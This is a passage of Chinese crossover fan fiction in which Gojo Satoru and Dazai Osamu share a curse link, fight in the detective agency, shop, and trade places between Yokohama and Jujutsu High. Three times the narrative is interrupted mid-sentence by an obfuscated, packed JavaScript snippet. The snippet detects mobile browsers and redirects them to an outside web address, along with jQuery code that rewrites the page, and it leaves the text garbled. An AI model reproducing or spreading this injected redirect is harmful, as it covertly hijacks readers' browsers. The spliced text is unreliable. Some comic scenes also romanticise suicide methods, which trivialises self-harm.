他俯视着太宰治瞬间阴沉下来的脸,笑容扩大,露出森白牙齿:“再敢玩这种‘自挂东南枝’的复古游戏……我就让你亲身体验一下,什么叫做真正的、物理意义上的‘人间失格’,保证……刻骨铭心。” 最后四个字,他说得又轻又慢,但冷意明显。 太宰治沉默着,鸢色眼眸深不见底,惯常的戏谑轻浮消失,只剩下漩涡在翻涌。 几秒钟的安静对峙,仿佛两头猛兽,在无声划定界限。 然后,太宰治嘴角弯起,但笑容里没有温度,只有被彻底点燃的好奇。 他像是没听到五条悟的死亡威胁,反而慢条斯理转过身,从身后那堆垃圾山般的桌面上,端起一杯……还在冒着可疑热气的咖啡。 咖啡液呈现出一种近乎墨水的深褐色,表面漂浮着几颗尚未完全溶解的泡泡,五彩斑斓——正是侦探社茶水间里,那瓶强力去油污洗洁精的标志性特征。 太宰治将那杯咖啡推到五条悟面前,动作优雅。杯底与桌面碰撞,发出一声挑衅轻响,“五条先生,远道而来辛苦了。喝杯咖啡提提神?特调饮品,提神醒脑,专治各种不服。” 他微微歪头,笑容纯良无辜,“试试吧,或许能帮你洗洗,那个塞满了甜腻垃圾的脑子。听说高糖饮食,会显著降低智商哦。” 咖啡杯里,五彩泡泡“啵”地破了一个,散发出柠檬香精混合油脂的怪异气味。 整个侦探社的人,都倒抽一口冷气,连国木田都忘了去捡他的“理想”笔记本。这已经不是挑衅,这是赤裸裸的自杀式袭击,对象还是那个能徒手捏碎空间的最强怪物! 五条悟的目光,落在那杯冒着毒气的咖啡上。墨镜遮住了他的眼神,但他嘴角那抹玩味的弧度纹丝不动,甚至更深了些。 他没有动怒,反而像是看到了什么有趣玩具,接着,伸出两根手指,拈起那廉价的咖啡杯,动作从容。 “哦,柠檬清新款?”他拖长了调子,杯沿凑近鼻尖,夸张地嗅了嗅,“品味独特嘛,青花鱼精。”他晃了晃杯子,里面的液体和泡泡一起危险地晃荡…… “不过……”他猛地将杯子举到与视线平齐,隔着墨镜,目光穿透杯壁,牢牢钉在太宰治脸上,“比起洗脑子,我更好奇,它能不能洗掉某人身上那股……像刚从阴沟里爬出来的绝望味儿?” 太宰治脸上的笑容僵了一瞬,眼底漩涡翻涌得更甚。 五条悟话锋一转,语气陡然变得轻快又恶意满满,“或者,你想亲自尝尝?我可以用‘苍’把它直接送进你的胃里,保证一滴不剩,原汁原味?” 他指尖用力,杯壁上,瞬间爬满细密裂纹。几滴混合着洗洁精的黑色液体顺着裂缝渗出,滴落在桌面上。 两人隔着那杯摇摇欲坠的毒咖啡,无声对峙。 侦探社众人屏住了呼吸,生怕一点动静,就会引爆这座活火山。 一方是能扭曲空间的最强咒术师,一方是能把洗洁精当咖啡伴侣的危险分子,真打起来,这栋楼怕是连地基都要被扬了。 时间一秒一秒过去,紧绷的弦拉到了极限。 突然,与谢野晶子推开医务室门,举着她的巨型电锯,眼睛亮得吓人:“要动手了吗?太好了!谁先来?我这新到的设备,正好需要高强度抗压测试。保证数据详实,过程……酣畅淋漓!” 电锯发出兴奋的空转轰鸣。 这诡异的打岔像根针,戳破了紧绷的气球。 五条悟发出一声短促轻笑。他松开手指,布满裂纹的咖啡杯“哐当”一声落回桌面,毒液四溅,险险没泼到太宰治的风衣上。 他撇撇嘴,一脸嫌弃:“啧,跟你同归于尽啊?太掉价了。老子宝贵的命,还得留着吃下一季的限量喜久福呢。” 太宰治眼底,重新覆上那层令人捉摸不透的笑意:“同意。为了您宝贵的味蕾,和我的绷带预算……”他摊开手,做了个无奈的手势,“看来我们得暂时达成共识。” 五条悟挑眉,算是默认。 没有握手,或者契约,只有一种心照不宣,在毁灭边缘达成的危险平衡。 太宰治不知从哪里,摸出一张便签纸和一支笔(国木田:妈的,这是我失踪的钢笔),潦草地写了几行字,然后将便签拍在五条悟面前的桌上——正好盖住了那滩洗洁精咖啡的污渍。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389686|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >五条悟低头看去。 “临时停战协议” 内容比离婚协议草率多了,便签纸上就两条: 1. 禁止使用对方身体体验免费濒死项目。 2. 医疗费、精神损失费、财产损失费,按责任AA。 字里行间,透着一股“随时掀桌”的脆弱。 “如何?”太宰治挑眉问道。 五条悟盯着那张便签,嘴角抽动了一下,像是在极力忍住什么。最终,他嗤笑一声,在那便签的空白处,龙飞凤舞地签下自己的大名——五条悟。字迹张狂,几乎要破纸而出。 签完字,笔都没放下,五条悟就单方面宣布了附加条款:“为监督协议执行,及深入研究诅咒链接(主要是防止乙方违规作死),甲方,即老子,将入驻武装侦探社进行‘实地考察’。” 说得跟真的一样,跟宣布科学考察项目似的。 话音落下,侦探社内顿时炸开了锅,反应各异,但统一透着一股绝望感。 国木田独步刚刚拼凑起一半的计划表,再次从他颤抖的手中滑落,纸张飘散,如祭奠的纸钱。“入驻?意思是,高能量级的不可控‘天灾’,将常态化存在于本社,不足八十平米的空间内?” 他看向墙上的“理想”挂画,眼神悲戚,“我的理想,又要再一次,在现实的泥石流中挣扎了吗?” 江户川乱步把眼镜干脆利落地扔进了零食箱,仿佛这样,就能屏蔽掉那令人头痛的“未来视”。 他抱着脑袋缩进沙发:“啊——我的眼睛看到了!更加混乱,更加令人烦躁的未来线,缠成了一团乱麻。笨蛋的密度要超标了!名侦探的脑细胞,拒绝处理这种噪音污染!” 他宣布,“即日起,本人进入混沌绝缘模式,除非社长命令,否则绝不踏出社长办公室一步!” 主之相反,与谢野晶子的眼睛却亮了起来,堪比她手中的电锯反光。 她兴奋地舔了舔嘴唇,目光在五条悟和太宰治之间来回扫射,像是在挑选先解剖哪只稀有标本:“入驻?太好了!这意味着‘共享痛觉’样本,可以7x24小时不间断观察了!” 她举起闪烁着寒芒的手术刀,“五条先生,请务必第一个体验,我的新式疗法,保证能同步检测到您二位最细微的生理反应,数据绝对震撼!” 她的笑容,让在场所有男性,同时感到某个部位一凉。 中岛敦的虎爪,不受控制地冒了出来又缩回去。 他看看脸色铁青的国木田,又看看跃跃欲试的与谢野,最后看向一脸“有趣起来了”的太宰治,发出了绝望哀鸣:“前、前辈!这……真的不会把侦探社直接拆了吗?维修费……我们会破产的吧?而且……”他小声嘀咕,“我的心理阴影面积,又要指数级增长了……” 泉镜花默默握紧了怀里的匕首,面无表情地总结道:“地狱绘图,常态化了。” 五条悟满意地欣赏着这一片鸡飞狗跳,仿佛这才是他入驻仪式的正确背景音乐。 他拍了拍太宰治的肩膀,然后被后者嫌弃躲开:“看来大家都很欢迎我嘛,氛围很热烈哦!以后请多指教啦,同事们!” 在一片混乱中,没人注意到,太宰治那抹看戏的笑容微微收敛,眼眸深处的漩涡中心,一丝近乎兴奋的火苗,正悄然燃起——仿佛五条悟的“入驻”,正中他某个不为人知的下怀。 “听起来……似乎比单纯的死亡,要有趣一点点呢。”他低声呢喃,嘴角的弧度微妙而危险。 6. 第6章 于是,侦探社的灾难开始了。 五条悟像个移动天灾,他霸占最软的沙发,把长腿翘上办公桌,宣称这是“最佳观测点”,精准碾压了国木田独步的每一根神经。 国木田的计划表,被他用红笔涂鸦,成品一言难尽——“10:00-10:30 案件复盘”旁,画了只戴墨镜的龇牙猫猫头;“14:00 拜访委托人”后,加上“带喜久福伴手礼”;“今日目标:效率提升15%”上,打了个大大的叉,写上“目标修正:容忍度提升150%”。 国木田握着钢笔的手,抖得像帕金森。他的灵魂,大概正在计划表的废墟上骂街。 而五条悟的存在本身,就是对“工作效率”的终极嘲讽。 他会突然出现在正埋头写报告的敦身后,大声点评:“哇哦,这字写得像猫爪扒出来的,需要我教你握笔吗?” 或者用“无下限”随意玩弄社员的物品——国木田的钢笔永远悬空一厘米,让他抓狂;敦的茶泡饭会莫名其妙浮起几颗豌豆,排列成嘲讽表情; 最可怕的是,他会和太宰治进行一些旁人无法理解,且充满人身攻击和危险暗示的对话。比如,讨论“用‘赫’蒸干鹤见川的成功率”,以及“用‘茈’能否轰平lupin酒吧”,听得众人头皮发麻,工作效率呈断崖式下跌。 江户川乱步路过他们时,瞥了一眼,嘟囔着:“啊,黏糊糊的笨蛋和狡猾的青花鱼,缠绕在一起的厄运线,太刺眼了。” 说完,抱着零食箱,躲进了社长办公室,拒绝参演这场灾难片。 另外,五条悟嗜甜如命,他的“入驻”,意味着侦探社的冰箱、抽屉、甚至文件柜里,都会不定期出现各种甜到发齁的蛋糕、糖果、饮料。 与之相对,太宰治的“洗洁精咖啡”研发,进入了更疯狂的阶段,似乎是为了对抗这种甜腻污染。 因此,误饮误食事件频发——贤治曾不小心喝了一口太宰的特调,当场表演了十分钟的灵魂出窍;而直美则误尝了五条的超甜巧克力,陷入长达一小时的亢奋状态,抱着谷崎喊“哥哥大人,我们要像糖果一样甜蜜永不分离!” 与谢野表示:“很好,又收集到了两种新型毒素的人类反应数据。” “观察”了两天,主要成果是气疯了国木田,五条悟终于想起赔偿事宜。 他一把揪住试图把自己缠在吊灯上的太宰治:“走了,青花鱼。带你去补充点绷带库存,免得你下次只能用办公卷纸上吊,太掉价。” 目的地是东京某巨型商场。 五条悟像一台人形推土机,所到之处,货架清空,所有型号的绷带被他扫荡一空,购物车堆得像座白色小山。 “够你把自己裹成木乃伊,巡回展出了。”五条悟满意地拍拍手,无视了周围顾客看冤大头般的眼神。 太宰治全程挂着营业式假笑,仿佛一位……被迫陪同金主视察的麻木情妇。 当五条悟终于结束他的“绷带扫货战”,太宰治立刻开始了他的反击。 经过一家高档西装店,他忽然驻足,拿起一套骚气的紫罗兰色天鹅绒西装,不由分说,把五条悟推进试衣间:“赔礼要有诚意,五条先生。试试这个,很适合您轻浮的气质。” 门一关,太宰治顺手用新买的绷带,在门把手上缠了个死结。 五条悟在里面咆哮:“青花鱼!你搞什么鬼?” 太宰对着门板忧心忡忡地叹气:“唉,我只是在思考,‘无下限’能隔绝攻击,但能隔绝审美悲剧吗?” 最终,五条悟是靠“苍”的微量输出震开了门,出来时头发炸毛,手里还捏着那套天鹅绒西装——准备记太宰账上。 路过电子游戏区,太宰治被抓娃娃机里,一只歪嘴丑猫吸引。他投币,失败。再投,再失败。 五条悟在一旁抱臂嘲讽:“哈!‘人间失格’也有失手的时候?看来无效化对运气没用。” 他抢过操纵杆,“看我的!” 三分钟后,游戏币消耗殆尽,丑猫纹丝不动。 两人阴沉地盯着玻璃箱,仿佛在凝视此生唯一的宿敌。 最终,五条悟面无表情地掏出钱包:“老板,这台机器我买了。” 太宰治点头表示认可:“很符合您——解决不了问题,就解决产生问题的机器——的粗暴美学。” 两人溜达到香水柜台时,太宰治拿起一款标注“午夜迷情”的试用装,对着五条悟,劈头盖脸就是一喷。浓烈甜腻的香气,瞬间包裹了最强咒术师。 “你找死吗?” 五条悟呛得后退一步,下一秒却眼神一凛,猛地抢过旁边一款“海洋清风”,对着太宰狂喷反击。 “咳……幼稚!”太宰被呛出眼泪,立刻抓起“烈焰红唇”再次进攻。 柜台已然沦为化学武器战场,导购员目瞪口呆地看着两位俊美的成年男性——且都缠着绷带疑似伤残人士——却像小学鸡一样,用香水互喷。空气中混合的香调,诡异得足以让调香大师脑梗。 最终,两人身上都散发着一种“被花海淹死,被糖果齁死,被木头熏死”般的复杂臭味,以被保安请出专区告终。 路过书店,五条悟拿起一本《如何成为积极阳光的人》,强行塞进太宰治的购物车:“学费,从你赔偿金里扣。” 太宰治微笑回应,拿起一本《糖分过量的危害与智力的必然衰退》,投掷到五条的绷带山里:“附赠读本,祝您早日康复。” 两人对视一眼,同时嫌弃地移开目光。 经过这一系列友好互动,他们慢悠悠地晃到旁边一家顶级甜品店。 太宰治对着展示柜轻轻一指:“这个,这个,还有那个……啊,除了这些,其他所有款式,我全要了。” 店员目瞪口呆,十分钟后,几十个精致的礼盒堆满了五条悟脚边。 “礼尚往来,五条先生。”太宰治笑得纯良无害,“绷带是赔偿,这些是回礼。请务必——全部吃完。浪费食物可是会下地狱的哦。”他眼底闪烁着报复得逞的微光。 五条悟看着那堆糖分炸弹,嘴角抽搐了一下。最强咒术师,生平第一次,感受到了被甜品支配的恐惧。 但认输不是他的风格,他扯出一个嚣张笑容:“哇哦,治君这么贴心?那我就不客气了!” 他当场拆盒,以一种近乎自毁的速度,开始大口吞咽。奶油、巧克力、麻薯……甜腻到发齁的味道爆炸式蔓延。 结果毫无悬念。 五分钟后,五条悟捂着嘴冲向往洗手间,脸色发青。 同步的,太宰治也感到胃里翻江倒海,扶着柜台干呕,苍白的脸皱成一团。 杀敌一千,自损一千,非常公平。 两人各自占据一个洗手间隔间,发出同步的痛苦干呕声,成了这座豪华商场里,最不和谐的二重奏。 片刻后,大理石洗手台前,五条悟和太宰治并排站着,沉默地洗手。水龙头流出哗哗水声,是这空间里唯一的噪音。 五条悟脸色发青,胃里,那几十份甜点混合物的造反余波未平,喉咙里还梗着令人不快的甜腻感。 太宰治则更显苍白,额发被冷汗打湿几缕,黏在皮肤上,微弯着腰,一副被掏空的虚弱模样。 五条悟关掉水龙头,甩了甩手,水珠溅到镜面上。他从镜子里,盯着太宰治那张死人脸,突然开口道:“青花鱼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389687|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你那宝贝咒印,再让我看一下。” 话音未落,五条悟便侧过身,带着未干水汽的手指,直接探向太宰治本就松垮的衬衫领口,力道粗暴地往外一扯…… “咔嚓——” 一颗脆弱的贝母纽扣崩飞出去,撞在大理石台面上,发出清脆响声,又滚落在地。 更多苍白皮肤,和层层叠叠的旧绷带,暴露在刺眼灯光下。而就在锁骨下方,那个漆黑扭曲,微微搏动着的咒印,再无遮掩地显露出来。 五条悟的六眼运转,将咒印的每一个细节——独特的缠绕方式,细微的咒力流动,边缘那些仿佛古老文字的诡异纹路——全部刻录分析,与记忆中,夜蛾正道收到的那封匿名信背面的印记,进行高速比对。 分毫不差。 结论如铅块,坠入心底。这不是意外,绝不是。 太宰治被他这突如其来的动作,带得微微踉跄,却只是发出一声近乎嘲弄的嗤笑,任由对方审视,鸢色眼睛里,是深不见底的寒潭。 “五条先生,突然这么热情……我会误会,您对合作伙伴的身体细节,产生了什么非比寻常的兴趣。” 五条悟松开手,眉头紧锁,眼神晦暗不明:“少自作多情。这丑东西的图案,我在别处也见过。” 他紧紧盯着太宰治的脸,不放过任何细微表情变化,试图从那张苍白倦怠的脸上,挖出更多信息:“你呢?除了你身上这个‘纪念品’,还在别的什么地方,见过同样的标记吗?比如……某个不该出现的地方,或者,某个‘不小心’忘了处理的垃圾身上?” 太宰治缓缓直起身,指尖慢条斯理抚过扯坏的衬衫领口和脖颈,那里,还残留着被粗暴对待的红痕。 他沉默了几秒,像是在仔细检索记忆库,最终迎上五条悟审视的目光,缓缓摇头,声音平静无波: “这么有特色的标记,见一次就足够铭记终生了。多看几次,恐怕连自杀的胃口,都要倒光了。” 他顿了顿,眼眸深处,极光闪过,如暗夜中突然出鞘的刀锋,“不过……经您这么一提,倒是让人不得不多想。专门挑中我,又恰好绑定了您这位公认的最强……” 他微微偏头,看向镜子里两人并排站立,却泾渭分明的身影,笑容变得意味深长: “这手笔,怎么看,都不像是随机抽奖,或者命运的无聊玩笑。倒像是……早有预谋,冲着把我们俩一锅端来的。但不知道,这位幕后导演,是想看一场‘最强’沦为笑柄的荒诞闹剧呢,还是……” 他声音压低,穿透力却更强, “……另有所图,比如,透过这该死的链接,拿到些……别的东西?” 话音落下,洗手间内,只剩滴答水声,敲打在寂静里,清晰得令人心慌。 两人在镜中对视,先前那点因同步而产生的“难兄难弟”错觉,和针锋相对的滑稽感,已荡然无存,只剩下冰冷的猜忌,被操控的凛然,以及心照不宣的危机感。 五条悟没说话,他想起那句“盛宴开始”,又看向太宰治锁骨下,那不详搏动的印记——这绝不仅仅是恶作剧。 一场针对他们二人的精密围猎,早已张开巨网。而他们,一个最强咒术师,一个人间失格,却都成了网中挣扎的困兽,甚至,连猎手的影子都还未看清。 同一时刻,商场监控室内,某人正饶有兴致地切换着画面——从试衣间的暴力破门,抓娃娃机的惨败,香水区的互喷混战,到最后两人同步干呕的特写…… 一只戴着黑色手套的手,按下录制键,将这段“同步受难”的全流程高清影像保存下来。 屏幕的冷光,映出了一抹扬起的玩味嘴角。 7. 第7章 武装侦探社的门被推开时,内部正上演着鸡飞狗跳。而近段时间里,这已变成日常。 国木田独步,在试图用胶水粘合他被“苍”的余波再次震裂的理想笔记本;谷崎润一郎,用“细雪”勉强维持着厕所门的视觉遮蔽;而与谢野晶子,正举着电锯,热情邀请五条悟“体验一下无麻醉骨骼再生”。 门口传来一声轻咳,所有人动作一顿,齐齐转头。 森鸥外一身考究西装,风尘仆仆,仿佛刚从某个跨国会议,而不是血雨腥风的火拼现场归来。他脸上挂着令人捉摸不透的招牌式微笑,目光扫过一片狼藉的办公室,最终,落在那个白发高个身上。 “看来我出差的这段时间,社里迎来了……一位能量巨大的新‘伙伴’?” 五条悟正用两根手指,嫌弃地推开与谢野的电锯,闻言扭头,墨镜滑下鼻梁,六眼将森鸥外从头到脚扫描了一遍,毫不客气地说:“哦,这位就是传说中,曾经的黑心资本家首领?比想象中,人模狗样一点嘛。” 森鸥外笑容不变:“五条先生说笑了。欢迎入驻武装侦探社,您的到来真是让此地……蓬荜生辉,活力倍增。” 他措辞礼貌,但目光扫过文件碎片和天花板裂缝,“活力倍增”四个字,说得意味深长。 太宰治窝在沙发里,挥了挥手,懒洋洋道:“呀,森先生,欢迎回来……如您所见,我们多了个麻烦精哦。” 森鸥外踱步进来,优雅地避开地上的文件残骸:“既然盟友如此热情,主动派人来协助我们……呃,增强安保。” 他看了一眼被五条悟当脚垫用的文件柜,“那我们,自然也该礼尚往来,以示诚意。” 他停下脚步,看向太宰治,笑容慈祥,像在给晚辈安排春游:“太宰君,就由你代表侦探社,去咒术高专进行一段时间的……交流学习吧。务必深入体验,好好学习。顺便,也让他们感受一下,我们横滨的独特‘风土人情’。 “噗——” 中岛敦刚喝下去的水,全喷了出来。 国木田猛然抬头,眼神里充满了矛盾。有狂喜:把这祸害送走?天佑我社!也有挣扎:送去祸害别人?这道德吗? 与谢野则失望地放下了电锯:“啧,少了一个极品观察样本。” 五条悟吹了声口哨,唯恐天下不乱:“哇哦,好主意!我举双手赞成……夜蛾校长大概会‘开心’得哭出来!” 于是,灾难的轮盘——划掉,命运的齿轮——再次转动。 太宰治,这位横滨著名自杀爱好者、绷带浪费装置、混乱代名词,就这么披着一身格格不入的高专制服,踏入了东京咒术高专的大门。 然后,高专的噩梦开始了。 哲学咒灵课上,夜蛾正道正在讲解咒灵的形成与祓除要点。太宰治举手,在得到默许后,对着台上被束缚的二级咒灵,开始了长达二十分钟的即兴演讲: “诸位不觉得,它们的存在本身,就是一种对生命意义的终极嘲讽吗?且比人类更纯粹。生于负面情绪,死于人类之手,循环往复,无望又悲哀……与其祓除,不如与之共情,体会这永恒的虚无……” 台下学生眼神呆滞,连咒灵都似乎听傻了,忘记了挣扎。夜蛾捏断了手里的粉笔,钉崎嘴角抽搐,低声对伏黑惠说:“这家伙……是在超度咒灵吗?用废话?” 实践课上,虎杖悠仁,这个阳光开朗大男孩,很快成了太宰治的重点“关照”对象。 休息时间,太宰勾着虎杖的肩膀,亲切传授:“悠仁君,听说过入水的美学吗?水流包裹身体,意识逐渐剥离,像回归母体般安详……还有‘吊颈的艺术’,对颈椎力度要求很高,但成功后,能呈现一种断裂的颓废美感……” 虎杖听得双眼放光,认真做笔记——论如何实践优雅的自杀:“哦哦,太宰先生懂的好多!虽然听起来有点痛……” 远处的伏黑惠一把抢过笔记,撕得粉碎,黑着脸把虎杖拖走:“你的大脑过滤掉了那些危险词,只剩下‘痛’吗?离他远点!他的常识,和你的寿命成反比!” 太宰治在他们身后,惋惜摇头:“青春啊,就是对死亡缺乏敬畏之心。” 对辅助监督伊地知洁高来说,本就脆弱的神经,因太宰治的到来,迎来了终极考验。 太宰治会突然出现在他车上,问“去附近最高的悬崖怎么走?”;会在他布置“帐”的时候,提议“不如改成粉红色蕾丝边,更有仪式感”;还会在他汇报工作时,认真建议“报告书写‘疑似特级咒灵因聆听哲学讲座陷入存在主义危机,而自我消散’更符合事实”。 伊地知的黑眼圈堪比熊猫,终于在某个下午,被太宰治问他“殉情保险理赔流程”时,彻底崩溃,抱着方向盘郁闷无比。“我……我只是个辅助监督啊……” 一次理论课上,胖达好奇地问太宰治:“太宰同学,你好像对死亡很有研究?” 太宰顿时来了精神,仿佛找到了知音:“当然!死亡是唯一的绝对公平,是艺术的终极形式!比如……” 他开始滔滔不绝地阐述各种“优雅”离世方法的优缺点、哲学意义及视觉效果。胖达一开始还认真点头,听到后面,毛茸茸的脸上,都露出了呆滞表情,最后用爪子捂住耳朵:“停停停,我只是个咒骸。听多了这种话,我的核心会变得悲观的!” 狗卷棘在一旁疯狂点头:“鲑鱼子!鲑鱼子!” 看到伏黑惠在训练场召唤玉犬,太宰治便蹲在旁边,忧心忡忡地说:“伏黑君,你有没有想过,你的式神们,会不会也有生存焦虑?毕竟,随时可能被召唤出来挨打,或者被无效化……它们需不需要心理疏导?或许该成立一个‘式神权益保护协会’?” 伏黑惠的额角爆出青筋,玉犬都跟着龇牙低吼:“……它们很好,不劳费心。请你离我的式神远一点。” 太宰叹气:“真是冷漠的饲主啊。” 看到钉崎挥舞锤子祓除咒灵,太宰治摸着下巴点评道:“钉崎同学,你的战斗风格,充满了力量美,但缺乏一点……临终关怀的艺术性。如果能在锤子上绑上绷带,沾上血色,挥舞起来,会更有一种绝望的浪漫色彩哦。” 钉崎一锤子砸在他脚边的地面上,砸出一个坑,恶狠狠道:“哈?你想亲自体验一下老娘的‘浪漫色彩’吗?保证让你印象深刻,再也用不上绷带!” 太宰治敏捷地后跳一步,鼓掌:“很有活力!看来你对死亡美学,有自己的理解!” 夜蛾正道看着监控里,那个披着高专制服,到处散播绝望哲学和自杀美学的绷带怪人,感觉自己的头发正在以前所未有的速度,离他而去。 他给五条悟打电话,声音沙哑:“……悟,把他弄走,什么条件都行。” 电话那头,是五条悟没心没肺的狂笑:“校长,这可是宝贵的文化交流啊!” 五条悟名义上是太宰治交流学习的担保人兼监督者,但他对将这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389688|184225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 份职责的理解,是定期验收灾难成果,并添砖加瓦。 当伏黑惠的式神,又被太宰的“人间失格”意外抹消,或者虎杖悠仁开始认真思考,哪种自杀方式“更显男子气概”时,五条悟就会拍着大腿,狂笑出现。 “哇哦,看来治君的教学成果显著嘛。惠,你的式神,心理阴影面积又增大了哦!悠仁,相较之下,推荐尝试高空自由落体,视野开阔,过程刺激!但你的命是老师保的哦,暂时不准滥用。” 他完全无视了伏黑惠杀人的目光,和旁边快要晕厥的伊地知。 当然,五条悟也没忘记正事。 他常常以“定期体检”为由,强行把太宰治拎到家入硝子的医务室,说,要硝子“监测诅咒链接对双方的影响”。 硝子叼着烟,看着被五条像丢垃圾一样,扔到解剖台上的太宰治,眼神一如既往的冷漠。 她没多废话,直接上手检查,听诊器贴上太宰的胸膛,手指按压他锁骨下的咒印区域。 太宰治难得安静地配合,微笑十分虚假。 “怎么样,硝子?这丑东西,有没有变得更活泼?”五条悟靠在墙边问。 硝子收起听诊器,吐出一口烟圈:“咒力波动频率与之前相比,没有显著变化,依旧深度嵌合神经脉络。与其说它是外来物,不如说,已经成了他身体的一个畸形器官。” 她看向太宰:“不过,你的身体本身倒是很有趣。长期营养不良,多处陈旧性损伤,生命力波动却异常坚韧,像一棵在垃圾堆里,拼命活下来的歪脖子树。” 太宰治轻笑:“硝子医生,您的话很富有诗意,也很会戳人痛处呢。” “实话总是难听的。” 硝子面无表情道,“‘人间失格’能无效化一切异能和咒力,却无法消除这个诅咒。有两种可能:一,它的优先级高于你的能力;二,它某种程度上,认同了你本身的存在,甚至……在汲取你那种求死的核心情绪,作为养料。” 她抬起眼,看向五条悟和太宰治:“后者的话,就很有意思了。这意味着,诅咒强度,可能会随着太宰情绪状态而波动。他越是想死,你们俩的链接可能就越牢固,共享的感官……也会越强烈。” 五条悟挑眉:“哦,所以这家伙越作死,老子反而要陪他玩得更刺激?这是什么变态绑定play?” 太宰治的笑容淡了些,眼底闪过一丝晦暗。 硝子最后做出冷酷总结:“从医学角度,我建议直接切除宿主,一了百了,但暂时没找到方法。或者……” 她看向五条悟,提出一个更惊悚的方案:“你可以尝试反向操作——让他体验到活着的快乐,说不定,诅咒会因为燃料不足而衰弱。当然,这只是毫无根据的猜想,而且过程可能会很折磨人。” 五条悟兴味盎然:“哇,这挑战难度,可比祓除特级咒灵高多了。硝子,你终于出了个能让我都觉得棘手的主意。” 太宰治从解剖台上坐起来,慢条斯理系好衬衫扣子,声音轻飘飘落下:“放弃吧,两位。试图让一艘早已决定沉没的船,感受航行的乐趣,本身就是残忍的折磨。” 他跳下桌子,走向门口:“相比之下,还是思考一下怎么优雅地撞上冰山,更实际一点。” 看着他离开的背影,五条悟和硝子对视一眼。 “看来你的‘快乐疗法’任重道远啊,悟。” “啧,麻烦死了。不过……我现在开始觉得有意思了。” 8. 第8章 高专校长室里,夜蛾正道双手撑在宽大的办公桌上,目光如炬,瞪着对面,那个坐没坐相的白发男人。 “你必须参加。”夜蛾的声音低沉而坚决,“后天的家长会,所有学生的监护人,都要到场。这是规定,关乎评级和资源分配。” 五条悟懒洋洋地陷在座椅里,两条长腿随意支着,眼睛写满“不情愿”:“夜蛾校长,您看我像是会养孩子的人吗?”他拖长了调子,像受了天大委屈,“我自己还是个需要人照顾的宝宝呢。再说了,我很忙的,约了去祓除一百只特级咒灵……” “那些特级咒灵是你生的?我怎么不知道,特级数量突然翻倍了这么多?”夜蛾冷冷打断他,额头青筋突突直跳。 五条悟撇撇嘴,把墨镜往上推了推。 电话扬声器里,传来一个轻快得有些不合时宜的声音:“哎呀,给五条先生添麻烦了呢……没关系,我可以自己代表自己参加。”太宰治的嗓音似乎带着笑意,“正好向各位家长阐述一下,我的存在主义教育理念。我还可以和大家分享,对生命终极意义的思考,比如死亡的哲学美学和实践应用……” 夜蛾的脸色,瞬间变得比刚才还要难看几倍。五条悟终于坐直了身子,被针扎了似的。 “闭嘴,青花鱼!”他对着电话吼道,随即转向夜蛾,表情痛苦,“……行,我去。但我警告你,”他又对着电话咬牙切齿,“到时候,给我装得像个人一点!” 电话那头传来一声轻笑,随即被挂断了。 夜蛾深深地吸了一口气,仿佛正在积累面对一场世纪灾难的勇气。 两天后,五条悟的公寓里,上演着一场诡异的“家长会特训”。 “把这玩意儿给我脱了!”五条悟指着太宰治身上层层叠叠的绷带,语气暴躁,像只猫被踩了尾巴,“你是去参加家长会,不是去木乃伊展览!” 太宰治抚摸着胸前的绷带,慢条斯理,眼神忧郁:“五条先生,您不懂。这不是普通的绷带,这是我灵魂的护甲,是我与这个庸俗世界之间的最后屏障。我不要穿正装,那是束缚自由灵魂的枷锁。” “信不信,我现在就给你这身‘护甲’永久定型?”五条悟狞笑着,伸出手指,指尖凝聚起危险的微光。 太宰治叹了口气,像是做出了巨大的妥协:“好吧,好吧,暴力不能解决问题,但显然能解决我。” 他慢吞吞地开始解绷带,动作之慢,能让乌龟着急。 一小时后,经过一番鸡飞狗跳的折腾,太宰治勉强套上了一套看起来还算得体的黑色西装,尽管领口深处,依然隐约可见白色绷带的边缘。 五条悟自己也换了身黑色的休闲装,衬得他白发愈发耀眼,跟个即将登台献唱的爱豆似的。 “好了,现在跟我学。”五条悟清了清嗓子,摆出一副自以为很严肃的表情,“‘是的,老师’。” 太宰治面无表情,棒读:“是的,老师……” 五条悟额角一跳:“‘我会努力’。” “我会努力……寻找生命的真谛,比如死亡。” “‘谢谢关心’。” “谢谢关心……我的死亡进度。” “青——花——鱼——”五条悟一把揪住太宰治的衣领,两人距离瞬间拉近,呼吸几乎喷到对方脸上,“你存心的是不是?信不信我断了你所有的蟹肉罐头供应?” 太宰治眼睛里毫无惧色,反而闪过一丝狡黠的光:“五条先生,如果您这样做,我恐怕不得不在家长会上,详细阐述‘监护人的精神暴力及其对青少年自杀倾向的负面影响’了。我相信,各位家长会对这个话题很感兴趣的。” 五条悟气得牙痒痒,另一只手,几乎要掐上太宰的脖子。 